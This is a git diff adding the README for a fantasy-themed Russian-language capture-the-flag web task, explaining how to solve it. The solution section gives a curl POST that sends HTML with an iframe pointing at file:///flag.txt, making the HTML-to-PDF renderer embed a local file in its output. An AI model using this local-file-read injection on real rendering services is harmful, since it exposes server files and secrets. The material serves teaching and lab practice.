Init. commit

ArchmageScriptorium-Web/README.md

@@ -0,0 +1,24 @@
+# Web 1.1 Cкрипторий Архимага
+
+В Башне Магов спрятан Запретный гримуар. Архимаг печатает свитки, но забывает закрыть доступ к библиотеке башни. Воспользуйтесь скрипториумом, чтобы добыть содержимое гримуара.
+
+## Решение
+
+Таск рендерит переданный `HTML/Markdown` в **PDF** и позволяет встраивать в сгенерированный файл внешние ресурсы. За счёт этого можно передать в `iframe` путь `file:///flag.txt` и заставить рендерер прочитать локальный файл при генерации `scroll.pdf`.
+
+Для этого отправляем **POST** на `/seal`, в поле `content` передаём HTML с `iframe`, затем читаем содержимое в готовом PDF.
+
+### Пример
+
+Через `curl`:
+```bash
+curl -s -X POST http://localhost:8000/seal \
+  -F 'content=<h1>Королевский Указ</h1><iframe src="file:///flag.txt" style="width:800px;height:200px"></iframe>' \
+  -F 'format=html' \
+  -o scroll.pdf
+```
+
+Через скрипт `solve/exploit.py`:
+```bash
+python solve/exploit.py http://localhost:8000
+```